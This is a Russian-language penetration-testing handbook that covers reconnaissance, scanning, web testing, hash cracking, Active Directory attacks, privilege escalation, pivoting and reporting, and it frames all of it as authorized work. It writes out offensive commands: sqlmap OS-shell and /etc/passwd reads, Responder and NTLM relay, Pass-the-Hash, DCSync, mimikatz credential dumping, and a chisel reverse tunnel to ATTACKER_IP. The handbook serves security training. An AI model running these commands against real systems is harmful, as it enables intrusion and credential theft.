Расширенный справочник по тестированию на проникновение: каждый инструмент с описанием назначения, каждая команда с разбором флагов. Покрывает всю kill-chain — от рекона до отчёта. Цели в примерах (10.10.10.10, target.local, dc01) — плейсхолдеры. Всё применяется исключительно в авторизованном scope (подписанный RoE/договор) либо на собственной изолированной лабе.
ФОРМАТ: REFERENCE HANDBOOKРАЗДЕЛОВ: 16ОС: KALI / PARROTSCOPE: AUTHORIZED ONLY
Граница, которую не переходят. Разница между пентестером и преступником — письменное разрешение. Любой скан, эксплойт или сбор данных только при наличии подписанного scope / Rules of Engagement / договора либо на собственной изолированной лабе. Нет бумаги — нет действия. В РФ это ст. 272–274 УК; ссылка на «исследование» не является защитой.
Как читать справочник
Каждый инструмент идёт блоком: назначение → описание → команды с построчными комментариями. Для тяжёлых инструментов (nmap, ffuf, sqlmap, hashcat, nxc) добавлены таблицы флагов. Цвета в коде: зелёный — команда/ключевое, синий — подставляемое значение (IP/домен/файл), жёлтый — строковый литерал, серый курсив — комментарий.
Методология PTES — 7 фаз
Профессиональный пентест идёт по системе, а не наугад. Это снижает риск пропустить вектор и упрощает отчёт.
#
Фаза
Суть
1
Pre-engagement
Согласование scope, RoE, сроков, контактов, правил остановки
2
Intelligence Gathering
Пассивный + активный рекон, карта поверхности атаки
# Современный тулинг, которого может не быть из коробки
pipx install impacket # набор для Windows/AD-протоколов
pipx install git+https://github.com/Pennyw0rth/NetExec# NetExec (форк CrackMapExec)
pipx install certipy-ad # атаки на AD CS
pipx install bloodhound # коллектор BloodHound (python)# Go-тулинг ProjectDiscovery (рекон нового поколения)
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
go install github.com/projectdiscovery/dnsx/cmd/dnsx@latest
go install github.com/ffuf/ffuf/v2@latest# Словари
sudo apt install seclists # огромная коллекция в /usr/share/seclists
gunzip /usr/share/wordlists/rockyou.txt.gz # распаковать rockyou при первом запуске# Рабочая папка на каждую цель + логирование сессии
mkdir -p target/{recon,loot,exploit,report}
script -a target/session.log # писать весь вывод терминала в лог
Дисциплина рекона. 90% результата — в энумерации. Главное правило справочника: enumerate, then enumerate again. Большинство «тупиков» — это недоэнумерированная цель, а не отсутствие уязвимостей.
// 01
Пассивный рекон / OSINTRecon
Сбор информации без прямого касания инфраструктуры цели: домены, поддомены, e-mail, утечки, метаданные. Шумит минимально, делается первым.
whois / dig // регистрационные и DNS-данные
Базовое разведывание домена: кто владелец, какие NS/MX-записи, IP-диапазоны.
whois target.com# регистрант, даты, NS-серверы
dig target.com ANY +noall +answer # все доступные DNS-записи разом
dig target.com MX +short # почтовые серверы (часто выдают провайдера)
dig target.com TXT +short # SPF/DKIM/верификации (инфраструктурные подсказки)
dig @8.8.8.8target.com# запрос через конкретный резолвер
dig -x 10.10.10.10# обратный DNS (PTR) по IP
subfinder // пассивный сбор поддоменов
Собирает поддомены из десятков публичных источников (CT-логи, пассивный DNS, поисковики) без обращения к самой цели. Стартовая точка для карты внешнего периметра.
subfinder -d target.com -silent # чистый список поддоменов в stdout
subfinder -d target.com -all -o subs.txt # все источники, сохранить в файл
subfinder -dL domains.txt -silent # обработать список доменов из файла
Флаг
Значение
-d
целевой домен
-dL
файл со списком доменов
-all
задействовать все источники (медленнее, полнее)
-silent
только результат, без баннеров (удобно для пайпов)
-o
файл вывода
amass // глубокая карта поверхности (OWASP)
Более тяжёлый и глубокий, чем subfinder: строит карту активов организации, включая связанные ASN/диапазоны. Режим intel — разведка по организации, enum — перечисление поддоменов.
amass enum -passive -d target.com -o amass.txt # только пассивные источники
amass enum -active -d target.com# + активная проверка (резолв, скан)
amass intel -org "Target Inc"# найти домены по названию организации
amass intel -asn 12345# диапазоны, принадлежащие ASN
theHarvester // e-mail, имена, хосты
Агрегатор OSINT: собирает e-mail-адреса, имена сотрудников, поддомены и хосты из публичных поисковиков и сервисов. E-mail-формат компании — основа для password spraying и фишинг-учений (в рамках scope).
theHarvester -d target.com -b all # все доступные источники
theHarvester -d target.com -b bing,duckduckgo -l 500# конкретные источники, лимит результатов
Флаг
Значение
-d
домен/организация
-b
источник(и): all, bing, duckduckgo, crtsh и др.
-l
лимит числа результатов
-f
сохранить отчёт (html/xml)
Прочие OSINT-инструменты
Инструмент
Назначение
Команда
recon-ng
Модульный OSINT-фреймворк с marketplace модулей
recon-ng
spiderfoot
Автоматизированный OSINT с web-интерфейсом и графом связей
spiderfoot -l 127.0.0.1:5001
exiftool
Метаданные из публичных документов (авторы, ПО, пути)
exiftool report.pdf
crt.sh
Поддомены из Certificate Transparency логов (через браузер/curl)
Связка для быстрой карты периметра:subfinder → httpx → nuclei. Собрать поддомены, отфильтровать живые HTTP-хосты с тех-фингерпринтом, прогнать шаблонным сканером. Команды — в разделах 03 и 06.
// 02
Сканирование портов и сервисовRecon
Активная фаза: какие порты открыты, какие сервисы и версии за ними. Карта портов определяет всё дальнейшее.
nmap // основной сетевой сканер
Главный инструмент сетевого рекона. Определяет живые хосты, открытые порты, версии сервисов, ОС, и через движок NSE запускает скрипты (от баннеров до проверок уязвимостей). Типовая стратегия — два прохода: быстрый по всем портам, затем детальный по найденным открытым.
# 1) Быстрый скан ВСЕХ 65535 TCP-портов: только факт открытости
nmap -p- --min-rate 5000 -T4 10.10.10.10 -oN ports.txt
# -p- все порты (1-65535)# --min-rate минимум пакетов/сек (ускоряет; 5000 ок для лабы)# -T4 агрессивный тайминг (T0 медленный/тихий ... T5 безумный)# -oN вывод в человекочитаемый файл# 2) Детальный скан ТОЛЬКО открытых портов (версии + дефолт-скрипты + ОС)
nmap -p22,80,445,3389 -sC -sV -O -A 10.10.10.10 -oN detail.txt
# -sC дефолтные NSE-скрипты (безопасные, информативные)# -sV определение версий сервисов# -O определение ОС по сетевому стеку# -A агрессивный режим (= -sC -sV -O + traceroute)
Типы сканирования
Флаг
Тип
Когда
-sS
SYN-скан (half-open)
дефолт для root; быстрый, относительно тихий
-sT
TCP connect
без root или через proxychains
-sU
UDP-скан
SNMP/DNS/TFTP/SIP — часто забывают
-sn
ping-sweep без портов
обнаружение живых хостов в подсети
-Pn
пропустить ping
хост блокирует ICMP, но «жив»
NSE — движок скриптов
nmap -p445 --script smb-vuln-* 10.10.10.10# все SMB-vuln проверки (напр. MS17-010)
nmap -p80 --script http-enum 10.10.10.10# перечисление web-путей/приложений
nmap --script vuln 10.10.10.10# весь набор vuln-скриптов (шумно)
nmap -sU -p161 --script snmp-* 10.10.10.10# SNMP-перечисление
ls /usr/share/nmap/scripts/ | grep ftp# какие скрипты есть под сервис
Сканирует огромные диапазоны на скорости, недостижимой для nmap (свой TCP/IP-стек). Не определяет версии — задача найти открытые порты, дальше отдать их nmap для детализации.
sudo masscan -p1-65535 10.10.10.0/24 --rate 10000 -oL out.txt
# --rate пакетов/сек (осторожно: высокий rate ложит слабые сети)# -oL простой список вывода
rustscan // быстрый порт-скан + автопереход в nmap
Очень быстро находит открытые порты и автоматически передаёт их nmap для версии/скриптов. Удобная связка «скорость masscan + детализация nmap» в одной команде.
rustscan -a 10.10.10.10 -- -sC -sV # всё после `--` уходит в nmap как есть
// 03
Энумерация сервисовRecon
Каждый открытый порт энумерируется отдельно и глубоко. Здесь чаще всего находится точка входа.
SMB (445/139) // шары, пользователи, политика
SMB — частый источник foothold: открытые шары, null-сессии, перечисление пользователей. Современный универсальный инструмент — NetExec (nxc), наследник CrackMapExec.
# NetExec: сводка по хосту, шарам, политике паролей
nxc smb 10.10.10.10# баннер: ОС, домен, signing, SMBv1
nxc smb 10.10.10.10 -u '' -p '' --shares # null-сессия: список шар
nxc smb 10.10.10.10 -u guest -p '' --users # перечисление пользователей
nxc smb 10.10.10.10 -u user -p Pass1 --pass-pol # политика паролей (важно перед брутом)# Классические клиенты
smbclient -L //10.10.10.10/ -N # -L список шар, -N без пароля
smbclient //10.10.10.10/share -N # подключиться к шаре анонимно
smbmap -H 10.10.10.10 -u guest# права доступа к шарам (READ/WRITE)
smbmap -H 10.10.10.10 -u user -p Pass1 -R share# -R рекурсивный обход содержимого
Протокол nxc
Назначение
smb
SMB-энумерация, исполнение, дамп
winrm
проверка/исполнение через WinRM
ldap
энумерация AD через LDAP
mssql
работа с MSSQL
ssh / ftp
проверка кред по SSH/FTP
RPC / LDAP // внутренности Windows/AD
rpcclient -U "" -N 10.10.10.10# null-RPC сессия# в шелле rpcclient:# enumdomusers -- список пользователей домена# querydominfo -- инфо о домене# enumdomgroups -- группы
ldapsearch -x -H ldap://10.10.10.10 -b "dc=target,dc=local"# анонимный LDAP-дамп# -x простая аутентификация, -H хост, -b base DN
При дефолтном community-string (обычно "public") SNMP выдаёт список процессов, портов, ПО, иногда учётные данные. Проверяется всегда при открытом 161/udp.
snmpwalk -v2c -c public10.10.10.10# полный обход MIB
snmpwalk -v2c -c public10.10.10.101.3.6.1.2.1.25.4.2.1.2# список процессов
onesixtyone -c communities.txt 10.10.10.10# брут community-string
httpx фильтрует живые HTTP(S)-хосты из списка и снимает технологии/заголовки/статусы. whatweb определяет CMS, фреймворки, версии. Связка после subfinder отсеивает мёртвые поддомены и подсвечивает интересные.
Поиск скрытых директорий, файлов, виртуальных хостов и параметров. То, что не видно по ссылкам, но доступно по URL.
ffuf // быстрый универсальный веб-фаззер
Подставляет слова из словаря в место маркера FUZZ — в путь, поддомен, заголовок, параметр или тело. Самый гибкий фаззер: одной утилитой закрываются директории, vhost'ы, перебор параметров и значений.
Тактика фильтрации. Сначала запусти без фильтров, посмотри размер/число слов «пустого» ответа (например, кастомная 404 отдаёт 200 с фиксированным размером). Затем отсей его через -fs/-fw. Это та же логика, что отсечение false positive.
feroxbuster // рекурсивный контент-сканер (Rust)
Быстрый, по умолчанию рекурсивный: найдя директорию, автоматически уходит вглубь. Хорош, когда структура сайта многоуровневая.
Burp Suite — центральный хаб (proxy → repeater → intruder). Ниже — основные классы уязвимостей с проверками и эксплуатацией. Глубокая отработка каждого класса — на PortSwigger Web Security Academy (бесплатно).
Burp Suite // перехват и модификация HTTP
Прокси между браузером и целью. Repeater — ручная отправка/правка запросов; Intruder — автоматизированный перебор; Decoder/Comparer — вспомогательные. Сохранённый запрос (req.txt) используется как вход для sqlmap и др.
Модуль
Назначение
Proxy
Перехват и просмотр трафика (настроить браузер на 127.0.0.1:8080)
Repeater
Ручная отправка/изменение одиночных запросов — основной рабочий модуль
Intruder
Автоперебор позиций (фаззинг параметров, brute)
Decoder
Кодирование/декодирование (URL, Base64, hex)
SQL-инъекции // sqlmap + ручное понимание
Внедрение SQL в запрос к БД. Типы: UNION-based, error-based, boolean/time-based blind. sqlmap автоматизирует, но тип инъекции и точку входа нужно понимать руками.
# Сохрани запрос из Burp в req.txt, укажи уязвимый параметр через -p или *
sqlmap -r req.txt --batch # авто-режим, без вопросов
sqlmap -r req.txt --batch --level 3 --risk 2# глубже проверки (1-5 / 1-3)
sqlmap -r req.txt --dbs # перечислить базы данных
sqlmap -r req.txt -D app --tables # таблицы конкретной БД
sqlmap -r req.txt -D app -T users --dump # дамп таблицы
sqlmap -r req.txt --os-shell # попытка получить ОС-шелл
sqlmap -r req.txt --file-read=/etc/passwd# чтение файла (при правах)
Типовые мисконфиги web-сервера; быстрая вспомогательная проверка, не основной сканер (ср. nuclei)
nikto -h http://site
cmseek нишевый
Детект и энумерация CMS; узкоспециальный
cmseek -u http://site
// 06
Поиск уязвимостейScan
Сопоставление найденных сервисов/версий с известными уязвимостями. Сканер — отправная точка, не вердикт: каждую находку верифицируй.
nuclei // шаблонный сканер уязвимостей
Прогоняет цель через тысячи community-шаблонов (CVE, мисконфиги, exposures, дефолтные креды). Быстрый, обновляемый, точный за счёт сигнатурного подхода.
nuclei -update-templates # обновить базу шаблонов
nuclei -u http://10.10.10.10# один хост, все шаблоны
nuclei -u http://10.10.10.10 -severity high,critical# только серьёзные
nuclei -l live-hosts.txt -tags cve,exposure# список хостов, по тегам
searchsploit // локальная база Exploit-DB
Оффлайн-поиск публичных эксплойтов по продукту и версии. Найдя PoC, копируй его локально и обязательно читай код перед запуском.
Никогда не запускай чужой эксплойт вслепую. Публичные PoC бывают с ошибками, бэкдорами или деструктивной нагрузкой. Прочитай код, пойми, что он делает, при необходимости поправь shellcode/адреса под цель.
Оффлайн-взлом захваченных хэшей и онлайн-перебор сервисов. Оффлайн предпочтительнее: тише, без лок-аута, быстрее на GPU.
hashcat // GPU-взлом хэшей
Самый быстрый взломщик: использует GPU. Режим (-m) задаёт тип хэша, атака (-a) — стратегию. Сочетание словаря с правилами кратно повышает покрытие при минимуме затрат.
# Атака по словарю
hashcat -m 1000 hashes.txt rockyou.txt# -m 1000 тип хэша (NTLM), см. таблицу# -a 0 режим по умолчанию = словарь# Словарь + правила (мутации: Password -> P@ssw0rd1! и т.д.)
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule# Маска (brute по известному паттерну)
hashcat -m 1000 hashes.txt -a 3'?u?l?l?l?l?d?d?d!'# -a 3 маска; ?u верхний, ?l нижний, ?d цифра, ?s спецсимвол
hashcat -m 1000 hashes.txt rockyou.txt --show # показать уже взломанное
Хэш
-m
Источник
MD5
0
общий
SHA1
100
общий
NTLM
1000
Windows SAM/NTDS
NetNTLMv2
5600
Responder/relay
Kerberos TGS (Kerberoast)
13100
GetUserSPNs
Kerberos AS-REP
18200
GetNPUsers
bcrypt
3200
web-приложения
JWT HS256
16500
токены
john the ripper // CPU-взлом, удобные форматы
Гибче по входным форматам: множество *2john-утилит превращают файлы (zip, ssh-key, pdf, keepass) в крекуемый хэш. Хорош, когда нет GPU или нужен экзотический формат.
cewl http://site -w words.txt -d 3# словарь из слов сайта (-d глубина обхода)
crunch 8 8 -t @@@@%%%% -o list.txt # маска: @ буква, % цифра# Password spraying: ОДИН пароль на МНОГО юзеров (обходит лок-аут)
nxc smb 10.10.10.10 -u users.txt -p 'Summer2025!' --continue-on-success
Лок-аут аккаунтов. Онлайн-брут может заблокировать учётки и сорвать заказ. Сначала узнай политику паролей (--pass-pol), используй spraying с задержкой между раундами, держись внутри порога блокировки. На реальном проекте согласуется отдельно.
// 08
Active DirectoryAD
Полная цепочка: от неаутентифицированного доступа до Domain Admin. AD — сердце большинства корпоративных сетей, и здесь сосредоточена основная часть внутренних пентестов. Каждая атака оставляет след в Security.evtx — полезно отмечать, что увидел бы SOC (purple-перспектива).
Энумерация домена // от null до low-priv
# Без учётки -- пользователи и политика через null/guest
nxc smb 10.10.10.10 -u '' -p '' --users --pass-pol
enum4linux-ng -A 10.10.10.10# комплексная энумерация SMB/AD# С валидной учёткой -- спрей по сети, доступы, группы
nxc smb 10.10.10.0/24 -u user -p 'Passw0rd'# где учётка валидна
nxc smb 10.10.10.10 -u user -p 'Passw0rd' --shares --groups
# Полный LDAP-дамп домена
ldapdomaindump -u 'TARGET\user' -p 'Passw0rd'10.10.10.10
BloodHound // граф путей к Domain Admin
Собирает объекты AD (пользователи, группы, права, сессии) и строит граф, где видны кратчайшие пути к привилегиям. Превращает хаос ACL в наглядную карту атаки.
# Сбор данных удалённо (Python-коллектор)
bloodhound-python -u user -p 'Passw0rd' -d target.local -ns 10.10.10.10 -c All
# -c All все методы сбора; -ns DNS-сервер (обычно DC)# Импортировать .json в BloodHound CE и смотреть готовые запросы:# - Shortest Paths to Domain Admins# - Kerberoastable / AS-REP Roastable users# - права от Owned-объектов (outbound control)
Kerberos-атаки // roasting
AS-REP roasting: для пользователей без преаутентификации можно запросить шифрованный билет и брутить оффлайн — учётка не нужна. Kerberoasting: для сервисных аккаунтов (с SPN) любая доменная учётка позволяет получить TGS и брутить его пароль.
Responder отравляет broadcast-запросы (LLMNR/NBT-NS), выдавая себя за искомый ресурс, и собирает NetNTLM-хэши. ntlmrelayx пересылает перехваченную аутентификацию на хост без SMB-signing — что даёт исполнение/дамп без взлома хэша.
sudo responder -I eth0 -wd # слушать и отравлять (-w WPAD, -d ответы)
impacket-ntlmrelayx -tf targets.txt -smb2support # релей на цели из файла# при отключённом signing -> дамп SAM / исполнение команд
Purple-чек: Responder и relay шумят на сетевом уровне (broadcast-ответы, неожиданные аутентификации) — типовые аномалии для SIEM. Запусти на лабе и найди событие в логах: отличная отработка обеих ролей сразу.
Движение и компрометация домена
# Проверка локального админа по парку (вкл. Pass-the-Hash)
nxc smb 10.10.10.0/24 -u admin -H <NTLM-hash> --local-auth
# -H передаёт хэш вместо пароля (PtH)# Удалённое исполнение (по нарастанию шума)
impacket-wmiexec target.local/admin:Passw0rd@10.10.10.10# тихо (WMI)
impacket-psexec target.local/admin:Passw0rd@10.10.10.10# шумно (служба)
evil-winrm -i 10.10.10.10 -u admin -p Passw0rd# интерактивный WinRM# DCSync -- вытащить хэши домена через репликацию (нужны права)
impacket-secretsdump target.local/admin:Passw0rd@10.10.10.10 -just-dc
# ADCS-мисконфиги (ESC1-13) -- частый быстрый путь к DA
certipy-ad find -u user@target.local -p Passw0rd -dc-ip 10.10.10.10 -vulnerable
Техника
Что даёт
Предусловие
AS-REP / Kerberoast
хэши для оффлайн-брута
юзер без преаутент. / SPN-аккаунт
Pass-the-Hash
аутентификация по NTLM-хэшу
хэш локального/доменного админа
NTLM relay
исполнение/дамп без взлома
цель без SMB-signing
DCSync
все хэши домена
права репликации (DA / делегирование)
ADCS ESC1-13
эскалация до DA через сертификаты
уязвимый шаблон CA
// 09
Privilege Escalation — LinuxPost-Ex
От низкоприв доступа до root. Сначала автоэнумерация для обзора, затем ручной разбор находок. Не запускай эксплойт, не поняв механику.
linpeas // автоэнумерация privesc-векторов
Сканирует систему и подсвечивает потенциальные векторы цветом (красный/жёлтый = высокий приоритет): SUID, sudo-права, cron, креды в файлах, ядро, capabilities. Стартовая точка, но не финал — находки проверяются вручную.
./linpeas.sh | tee linpeas.out # запуск + сохранение вывода
./linpeas.sh -a # -a максимально подробный режим
Ручные проверки // ключевые векторы
sudo -l # что разрешено через sudo (часто прямой путь к root)
find / -perm -4000 -type f 2>/dev/null # SUID-бинарники (запуск от владельца)
find / -perm -2000 -type f 2>/dev/null # SGID-бинарники
getcap -r / 2>/dev/null # файлы с capabilities (напр. cap_setuid)
cat /etc/crontab; ls -la /etc/cron.* # cron-задачи (записываемый скрипт от root?)
uname -a; cat /etc/os-release # версия ядра/ОС -> поиск kernel-эксплойта
ps aux --forest # процессы от root, локальные сервисы
ss -tlnp # локально слушающие порты (внутренние сервисы)
GTFOBins. Нашёл SUID-бинарь, sudo-правило или capability на известной утилите — проверь технику эксплуатации на gtfobins.github.io. Это база «как из легитимного бинаря получить шелл/чтение/запись от привилегий».
Типовые Linux privesc-векторы
Вектор
Суть
sudo misconfig
Разрешённая через sudo утилита с GTFOBins-техникой → root
SUID/SGID
Бинарь исполняется от владельца (root); эксплуатация через GTFOBins
Capabilities
cap_setuid и подобные дают эскалацию без полного SUID
Cron + writable script
Скрипт от root, доступный на запись → подмена содержимого
winPEAS (exe или bat) и PowerUp (PowerShell) перечисляют векторы эскалации: слабые ACL служб, unquoted service path, токен-привилегии, хранимые креды, AlwaysInstallElevated.
.\winPEASany.exe # комплексная энумерация
powershell -ep bypass # обойти политику запуска скриптов в сессии
Import-Module .\PowerUp.ps1; Invoke-AllChecks # все проверки PowerUp
Ручные проверки
whoami /priv # привилегии токена (Se*Privilege)
whoami /groups # членство в группах
systeminfo # патчи -> поиск отсутствующих KB
cmdkey /list # сохранённые учётные данные
reg query HKLM\...\Winlogon # autologon-креды в реестре
sc qc <service># конфиг службы (путь, аккаунт запуска)
Типовые Windows privesc-векторы
Вектор
Суть
SeImpersonate / Potato
Привилегия impersonation → token-эскалация до SYSTEM (Potato-техники)
Unquoted service path
Путь службы с пробелами без кавычек → подмена бинаря
Слабые ACL службы
Право менять конфиг службы → запуск своего бинаря от SYSTEM
DLL hijacking
Подмена DLL, которую грузит привилегированный процесс
AlwaysInstallElevated
MSI ставится от SYSTEM → свой пакет
Хранимые креды
cmdkey, autologon, файлы конфигов, Unattend.xml
LOLBAS. Перед «громким» эксплойтом проверь возможность эскалации легитимными бинарями системы — lolbas-project.github.io (Windows) и GTFOBins (Linux). Тише и реалистичнее.
// 11
Pivoting и туннелированиеLateral
Скомпрометированный хост — мост во внутренние сегменты, недоступные напрямую. Цель: маршрутизировать инструменты атакующей машины в скрытую за ним подсеть.
ligolo-ng // современный pivot через tun-интерфейс
Поднимает виртуальный сетевой интерфейс, через который внутренняя подсеть становится «локальной». Не требует proxychains — инструменты работают напрямую. Самый удобный современный вариант.
# На атакующей машине (proxy)
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert # запустить сервер с самоподписанным сертом# На цели запускается agent -> в консоли proxy:# session выбрать агента# start поднять туннель# Добавить маршрут в внутреннюю подсеть на атакующей машине:
sudo ip route add 192.168.50.0/24 dev ligolo
chisel // reverse SOCKS-прокси
Один бинарь, кроссплатформенный. Поднимает SOCKS-прокси через скомпрометированный хост; инструменты заворачиваются через proxychains. Классика, когда tun недоступен.
# Атакующая машина (сервер)
./chisel server -p 8000 --reverse # принимать reverse-подключения# Цель (клиент) -> reverse SOCKS на порт 1080 атакующего
./chisel client ATTACKER_IP:8000 R:1080:socks
# Завернуть инструменты через SOCKS (/etc/proxychains4.conf: socks5 127.0.0.1 1080)
proxychains nmap -sT -Pn 192.168.50.10
proxychains nxc smb 192.168.50.0/24 -u user -p pass
Почему здесь нет готовых loader'ов и AMSI-байпасов. Рабочий код обхода защит имеет смысл только под конкретный EDR/версию/цель и быстро детектится в публичном виде. Умение писать его под цель — это и есть навык фазы Elite, который ставится на курсах с лабой (CRTO/OSEP), а не копипастой. Ниже — карта направления, тулчейн и точки изучения.
C2-фреймворки // командные центры (изучать на лабе)
Command-and-Control: сервер управляет агентами (beacon) на скомпрометированных хостах. Дают структурированную post-exploitation: задачи, сбор данных, движение, профили трафика.
C2
Профиль
Заметка
Sliver
Open-source, Go
Лучший бесплатный вход, активно развивается
Havoc
Open-source
Современный, гибкие профили
Mythic
Модульный, агенты под разные ОС
Платформа для команд
AdaptixC2
Расширяемый, open-source
Появился в свежих сборках Kali
Cobalt Strike
Коммерческий стандарт red team
Изучается на CRTO; в проде по лицензии
Карта направлений evasion // что и зачем изучать
Обход защит изучается парой «детект против обхода»: пойми правило детекта, разбери класс обхода, затем — что остаётся в логе всё равно. Так растёшь и как атакующий, и как архитектор защиты.
Поверхность детекта
Класс обхода
Что изучать
AMSI (скан скриптов)
обход in-memory сканера
устройство AMSI и точки перехвата
ETW (телеметрия)
снижение/обход телеметрии
что и куда пишет ETW, что видит EDR
EDR user-land хуки
unhooking / прямые syscalls
механика inline-хуков в NTDLL
Сигнатуры файлов
обфускация / упаковка
почему ловит статика, как меряется энтропия
Поведенческий детект
LOLBAS / fileless / OPSEC C2
jitter, sleep, redirectors, named pipes
Персистентность и сбор // на лабе / в scope
# Сбор кред-материала после захвата (авторизованно!)
impacket-secretsdump -sam sam.hive -system system.hive LOCAL # из выгруженных hive# mimikatz на цели: sekurlsa::logonpasswords -- креды из памяти LSASS# Векторы персистентности (red team-сценарий, не на проде без согласования):# scheduled task / run-key / service / WMI event subscription# -- ровно то, что детектят DFIR-инструменты по EVTX. Замкни круг.
Персистентность и деструктив на реальном проекте — только при явном согласовании в RoE. Всё, что переживает сессию, фиксируется и удаляется после теста; cleanup отдельным пунктом в отчёт.
// 14
Отчёт и методология
Заказчик платит за отчёт, а не за рут. Умение писать чёткие формальные документы — недооценённое преимущество: многие технари ломать умеют, а внятно описать находки — нет.
# Структура отчёта пентеста1. Executive Summary-- для руководства, без жаргона, бизнес-риск2. Scope & Methodology-- что тестировали, по какому стандарту (PTES/OWASP)3. Findings-- каждая: описание, severity (CVSS), PoC, воспроизведение4. Attack Narrative-- хронология цепочки атаки (kill chain)5. Remediation-- конкретные шаги починки + приоритизация6. Appendices-- сырые данные, команды, артефакты, cleanup-лог
Стандарт
Назначение
PTES
7 фаз процесса пентеста — от pre-engagement до отчёта
OWASP WSTG
чек-лист тестирования web-приложений
MITRE ATT&CK
матрица TTP — мапить находки на тактики/техники
CVSS 3.1 / 4.0
оценка severity + бизнес-контекст для приоритета
NIST 800-115
техническое руководство по security assessment
Принцип двух колонок. Ломая что-либо на лабе, держи в голове «как это сделано» и «что увидел бы SOC». Первая колонка делает специалиста пентестером, вторая — гуру, к которому идут и red, и blue.
// 15
Шпаргалка one-liner'ов
Часто используемые команды для быстрого доступа. Цели — плейсхолдеры.
Рекон / скан
nmap -p- --min-rate 5000 -T4 IP -oN ports.txt # все TCP-порты
nmap -pPORTS -sC -sV -A IP -oN detail.txt # детально по открытым
subfinder -d DOMAIN -silent | httpx -silent -title -tech-detect # живые web-хосты
nxc smb IP -u '' -p '' --shares # SMB null-сессия